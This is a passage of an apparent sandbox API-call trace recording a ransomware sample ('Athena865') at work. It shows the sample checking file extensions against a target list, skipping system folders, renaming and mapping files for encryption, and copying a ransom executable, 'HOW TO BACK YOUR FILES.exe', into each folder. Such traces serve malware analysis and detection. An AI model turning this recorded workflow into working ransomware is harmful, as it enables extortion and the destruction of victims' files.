lpString2="accdr") returned 1 [0041.780] lstrlenW (lpString="accdt") returned 5 [0041.780] lstrcmpiW (lpString1="i.dll", lpString2="accdt") returned 1 [0041.780] lstrlenW (lpString="accdw") returned 5 [0041.780] lstrcmpiW (lpString1="i.dll", lpString2="accdw") returned 1 [0041.780] lstrlenW (lpString="accft") returned 5 [0041.781] lstrcmpiW (lpString1="i.dll", lpString2="accft") returned 1 [0041.781] lstrlenW (lpString="adb") returned 3 [0041.781] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0041.781] lstrlenW (lpString="adb") returned 3 [0041.781] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0041.781] lstrlenW (lpString="ade") returned 3 [0041.781] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0041.781] lstrlenW (lpString="adf") returned 3 [0041.781] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0041.781] lstrlenW (lpString="adn") returned 3 [0041.781] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0041.781] lstrlenW (lpString="adp") returned 3 [0041.781] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0041.781] lstrlenW (lpString="alf") returned 3 [0041.781] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0041.781] lstrlenW (lpString="ask") returned 3 [0041.781] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0041.781] lstrlenW (lpString="btr") returned 3 [0041.781] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0041.781] lstrlenW (lpString="cat") returned 3 [0041.781] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0041.781] lstrlenW (lpString="cdb") returned 3 [0041.781] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0041.781] lstrlenW (lpString="ckp") returned 3 [0041.781] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0041.781] lstrlenW (lpString="cma") returned 3 [0041.781] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0041.781] lstrlenW (lpString="cpd") returned 3 [0041.781] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0041.781] lstrlenW (lpString="dacpac") returned 6 [0041.781] lstrcmpiW (lpString1="pi.dll", lpString2="dacpac") returned 1 [0041.781] lstrlenW (lpString="dad") returned 3 [0041.781] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0041.781] lstrlenW (lpString="dadiagrams") returned 10 [0041.781] lstrlenW (lpString="daschema") returned 8 [0041.781] lstrcmpiW (lpString1="mapi.dll", lpString2="daschema") returned 1 [0041.781] lstrlenW (lpString="db-journal") returned 10 [0041.781] lstrlenW (lpString="db-shm") returned 6 [0041.781] lstrcmpiW (lpString1="pi.dll", lpString2="db-shm") returned 1 [0041.782] lstrlenW (lpString="db-wal") returned 6 [0041.782] lstrcmpiW (lpString1="pi.dll", lpString2="db-wal") returned 1 [0041.782] lstrlenW (lpString="dbc") returned 3 [0041.782] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0041.782] lstrlenW (lpString="dbs") returned 3 [0041.782] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0041.782] lstrlenW (lpString="dbt") returned 3 [0041.782] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0041.782] lstrlenW (lpString="dbv") returned 3 [0041.782] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0041.782] lstrlenW (lpString="dbx") returned 3 [0041.782] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0041.782] lstrlenW (lpString="dcb") returned 3 [0041.782] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0041.782] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0041.782] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0041.782] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Portable Devices\\sqmapi.dll.Athena865") returned 62 [0041.782] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Portable Devices\\sqmapi.dll" (normalized: "c:\\program files\\windows portable devices\\sqmapi.dll"), lpNewFileName="C:\\Program Files\\Windows Portable Devices\\sqmapi.dll.Athena865" (normalized: "c:\\program files\\windows portable devices\\sqmapi.dll.athena865"), dwFlags=0x1) returned 1 [0041.783] CreateFileW (lpFileName="C:\\Program Files\\Windows Portable Devices\\sqmapi.dll.Athena865" (normalized: "c:\\program files\\windows portable devices\\sqmapi.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0041.783] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=244736) returned 1 [0041.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0041.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d318 [0041.783] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0041.783] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0041.784] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0041.784] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.784] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3bf00, lpName=0x0) returned 0x154 [0041.786] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3bf00) returned 0x170000 [0041.813] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0041.813] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0041.813] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0041.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0041.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0041.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0041.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0041.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0041.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0041.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0041.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0041.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0041.814] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0041.816] CloseHandle (hObject=0x154) returned 1 [0041.816] CloseHandle (hObject=0x17c) returned 1 [0041.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d318 | out: hHeap=0x4f0000) returned 1 [0041.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0041.819] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0041.821] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa93f44c2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa93f44c2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa93f44c2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0041.821] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0041.821] ReleaseMutex (hMutex=0xec) returned 1 [0041.821] CloseHandle (hObject=0xec) returned 1 [0041.821] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Windows Sidebar" | out: lpString1="C:\\Program Files\\Windows Sidebar") returned="C:\\Program Files\\Windows Sidebar" [0041.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x517348 | out: hHeap=0x4f0000) returned 1 [0041.821] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c470 | out: hHeap=0x4f0000) returned 1 [0041.821] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar") returned 32 [0041.821] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\369139C10802C46961155D65E803FE1F") returned 0xec [0041.821] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0041.822] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar" | out: lpString1="C:\\Program Files\\Windows Sidebar") returned="C:\\Program Files\\Windows Sidebar" [0041.822] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0041.822] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\how to back your files.exe"), bFailIfExists=1) returned 0 [0041.823] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0041.823] GetLastError () returned 0x0 [0041.823] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0041.823] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52f908 [0041.823] ReadFile (in: hFile=0xf4, lpBuffer=0x52f908, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52f908*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0041.824] CloseHandle (hObject=0xf4) returned 1 [0041.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0041.824] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0041.824] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbc48c140, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc48c140, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0041.824] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0041.824] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0041.824] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0041.824] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbc48c140, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc48c140, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.824] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0041.824] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0041.824] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0041.824] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0041.824] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x237a3493, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0041.824] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0041.824] lstrcmpiW (lpString1="en-US", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0041.824] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0041.824] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0041.824] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0041.824] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0041.824] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1 [0041.824] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1 [0041.824] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1 [0041.825] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1 [0041.825] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0041.825] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1 [0041.825] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1 [0041.825] lstrlenW (lpString="en-US") returned 5 [0041.825] lstrcpyW (in: lpString1=0x241e88a, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0041.825] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c470 [0041.825] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x4e) returned 0x515d98 [0041.825] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0041.825] lstrcatW (in: lpString1="en-US\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="en-US\\HOW TO BACK YOUR FILES.exe") returned="en-US\\HOW TO BACK YOUR FILES.exe" [0041.825] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0041.830] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0041.830] lstrcmpiW (lpString1="Gadgets", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0041.830] lstrcmpiW (lpString1="Gadgets", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0041.830] lstrcmpiW (lpString1="Gadgets", lpString2=".") returned 1 [0041.830] lstrcmpiW (lpString1="Gadgets", lpString2="..") returned 1 [0041.830] lstrcmpiW (lpString1="Gadgets", lpString2="windows") returned -1 [0041.830] lstrcmpiW (lpString1="Gadgets", lpString2="bootmgr") returned 1 [0041.830] lstrcmpiW (lpString1="Gadgets", lpString2="temp") returned -1 [0041.830] lstrcmpiW (lpString1="Gadgets", lpString2="pagefile.sys") returned -1 [0041.830] lstrcmpiW (lpString1="Gadgets", lpString2="boot") returned 1 [0041.830] lstrcmpiW (lpString1="Gadgets", lpString2="ids.txt") returned -1 [0041.830] lstrcmpiW (lpString1="Gadgets", lpString2="ntuser.dat") returned -1 [0041.830] lstrcmpiW (lpString1="Gadgets", lpString2="perflogs") returned -1 [0041.830] lstrcmpiW (lpString1="Gadgets", lpString2="MSBuild") returned -1 [0041.830] lstrlenW (lpString="Gadgets") returned 7 [0041.830] lstrcpyW (in: lpString1=0x241e88a, lpString2="Gadgets" | out: lpString1="Gadgets") returned="Gadgets" [0041.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c458 [0041.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x52) returned 0x5292b0 [0041.830] lstrcatW (in: lpString1="Gadgets", lpString2="\\" | out: lpString1="Gadgets\\") returned="Gadgets\\" [0041.830] lstrcatW (in: lpString1="Gadgets\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Gadgets\\HOW TO BACK YOUR FILES.exe") returned="Gadgets\\HOW TO BACK YOUR FILES.exe" [0041.830] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\how to back your files.exe"), bFailIfExists=1) returned 1 [0041.837] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc48c140, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc48c140, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0041.837] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0041.837] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d8b118c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7d8b118c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x43f45420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sbdrop.dll", cAlternateFileName="")) returned 1 [0041.837] lstrcmpiW (lpString1="sbdrop.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0041.837] lstrcmpiW (lpString1="sbdrop.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0041.837] lstrcmpiW (lpString1="sbdrop.dll", lpString2=".") returned 1 [0041.837] lstrcmpiW (lpString1="sbdrop.dll", lpString2="..") returned 1 [0041.837] lstrcmpiW (lpString1="sbdrop.dll", lpString2="windows") returned -1 [0041.837] lstrcmpiW (lpString1="sbdrop.dll", lpString2="bootmgr") returned 1 [0041.837] lstrcmpiW (lpString1="sbdrop.dll", lpString2="temp") returned -1 [0041.837] lstrcmpiW (lpString1="sbdrop.dll", lpString2="pagefile.sys") returned 1 [0041.837] lstrcmpiW (lpString1="sbdrop.dll", lpString2="boot") returned 1 [0041.837] lstrcmpiW (lpString1="sbdrop.dll", lpString2="ids.txt") returned 1 [0041.837] lstrcmpiW (lpString1="sbdrop.dll", lpString2="ntuser.dat") returned 1 [0041.837] lstrcmpiW (lpString1="sbdrop.dll", lpString2="perflogs") returned 1 [0041.837] lstrcmpiW (lpString1="sbdrop.dll", lpString2="MSBuild") returned 1 [0041.837] lstrlenW (lpString="sbdrop.dll") returned 10 [0041.838] lstrcpyW (in: lpString1=0x241e88a, lpString2="sbdrop.dll" | out: lpString1="sbdrop.dll") returned="sbdrop.dll" [0041.838] lstrlenW (lpString="sbdrop.dll") returned 10 [0041.838] lstrlenW (lpString="Athena865") returned 9 [0041.838] lstrcmpiW (lpString1="bdrop.dll", lpString2="Athena865") returned 1 [0041.838] lstrlenW (lpString=".dll") returned 4 [0041.838] lstrcmpiW (lpString1="sbdrop.dll", lpString2=".dll") returned 1 [0041.838] lstrlenW (lpString=".lnk") returned 4 [0041.838] lstrcmpiW (lpString1="sbdrop.dll", lpString2=".lnk") returned 1 [0041.838] lstrlenW (lpString=".ini") returned 4 [0041.838] lstrcmpiW (lpString1="sbdrop.dll", lpString2=".ini") returned 1 [0041.838] lstrlenW (lpString=".sys") returned 4 [0041.838] lstrcmpiW (lpString1="sbdrop.dll", lpString2=".sys") returned 1 [0041.838] lstrlenW (lpString="sbdrop.dll") returned 10 [0041.838] lstrlenW (lpString="bak") returned 3 [0041.838] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0041.838] lstrlenW (lpString="ba_") returned 3 [0041.838] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0041.838] lstrlenW (lpString="dbb") returned 3 [0041.838] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0041.838] lstrlenW (lpString="vmdk") returned 4 [0041.838] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0041.838] lstrlenW (lpString="rar") returned 3 [0041.838] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0041.838] lstrlenW (lpString="zip") returned 3 [0041.838] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0041.838] lstrlenW (lpString="tgz") returned 3 [0041.838] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0041.838] lstrlenW (lpString="vbox") returned 4 [0041.838] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0041.838] lstrlenW (lpString="vdi") returned 3 [0041.838] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0041.838] lstrlenW (lpString="vhd") returned 3 [0041.838] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0041.838] lstrlenW (lpString="vhdx") returned 4 [0041.838] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0041.838] lstrlenW (lpString="avhd") returned 4 [0041.838] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0041.839] lstrlenW (lpString="db") returned 2 [0041.839] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0041.839] lstrlenW (lpString="db2") returned 3 [0041.839] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0041.839] lstrlenW (lpString="db3") returned 3 [0041.839] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0041.839] lstrlenW (lpString="dbf") returned 3 [0041.839] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0041.839] lstrlenW (lpString="mdf") returned 3 [0041.839] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0041.839] lstrlenW (lpString="mdb") returned 3 [0041.839] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0041.839] lstrlenW (lpString="sql") returned 3 [0041.839] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0041.839] lstrlenW (lpString="sqlite") returned 6 [0041.839] lstrcmpiW (lpString1="op.dll", lpString2="sqlite") returned -1 [0041.839] lstrlenW (lpString="sqlite3") returned 7 [0041.839] lstrcmpiW (lpString1="rop.dll", lpString2="sqlite3") returned -1 [0041.839] lstrlenW (lpString="sqlitedb") returned 8 [0041.839] lstrcmpiW (lpString1="drop.dll", lpString2="sqlitedb") returned -1 [0041.839] lstrlenW (lpString="xml") returned 3 [0041.839] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0041.839] lstrlenW (lpString="$er") returned 3 [0041.839] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0041.839] lstrlenW (lpString="4dd") returned 3 [0041.839] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0041.839] lstrlenW (lpString="4dl") returned 3 [0041.839] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0041.839] lstrlenW (lpString="^^^") returned 3 [0041.839] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0041.839] lstrlenW (lpString="abs") returned 3 [0041.839] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0041.839] lstrlenW (lpString="abx") returned 3 [0041.839] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0041.839] lstrlenW (lpString="accdb") returned 5 [0041.839] lstrcmpiW (lpString1="p.dll", lpString2="accdb") returned 1 [0041.839] lstrlenW (lpString="accdc") returned 5 [0041.840] lstrcmpiW (lpString1="p.dll", lpString2="accdc") returned 1 [0041.840] lstrlenW (lpString="accde") returned 5 [0041.840] lstrcmpiW (lpString1="p.dll", lpString2="accde") returned 1 [0041.840] lstrlenW (lpString="accdr") returned 5 [0041.840] lstrcmpiW (lpString1="p.dll", lpString2="accdr") returned 1 [0041.840] lstrlenW (lpString="accdt") returned 5 [0041.840] lstrcmpiW (lpString1="p.dll", lpString2="accdt") returned 1 [0041.840] lstrlenW (lpString="accdw") returned 5 [0041.840] lstrcmpiW (lpString1="p.dll", lpString2="accdw") returned 1 [0041.840] lstrlenW (lpString="accft") returned 5 [0041.840] lstrcmpiW (lpString1="p.dll", lpString2="accft") returned 1 [0041.840] lstrlenW (lpString="adb") returned 3 [0041.840] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0041.840] lstrlenW (lpString="adb") returned 3 [0041.840] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0041.840] lstrlenW (lpString="ade") returned 3 [0041.840] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0041.840] lstrlenW (lpString="adf") returned 3 [0041.840] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0041.840] lstrlenW (lpString="adn") returned 3 [0041.840] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0041.840] lstrlenW (lpString="adp") returned 3 [0041.840] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0041.840] lstrlenW (lpString="alf") returned 3 [0041.840] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0041.840] lstrlenW (lpString="ask") returned 3 [0041.840] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0041.840] lstrlenW (lpString="btr") returned 3 [0041.840] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0041.840] lstrlenW (lpString="cat") returned 3 [0041.840] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0041.840] lstrlenW (lpString="cdb") returned 3 [0041.840] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0041.840] lstrlenW (lpString="ckp") returned 3 [0041.840] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0041.840] lstrlenW (lpString="cma") returned 3 [0041.840] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0041.841] lstrlenW (lpString="cpd") returned 3 [0041.841] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0041.841] lstrlenW (lpString="dacpac") returned 6 [0041.841] lstrcmpiW (lpString1="op.dll", lpString2="dacpac") returned 1 [0041.841] lstrlenW (lpString="dad") returned 3 [0041.841] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0041.841] lstrlenW (lpString="dadiagrams") returned 10 [0041.841] lstrlenW (lpString="daschema") returned 8 [0041.841] lstrcmpiW (lpString1="drop.dll", lpString2="daschema") returned 1 [0041.841] lstrlenW (lpString="db-journal") returned 10 [0041.841] lstrlenW (lpString="db-shm") returned 6 [0041.841] lstrcmpiW (lpString1="op.dll", lpString2="db-shm") returned 1 [0041.841] lstrlenW (lpString="db-wal") returned 6 [0041.841] 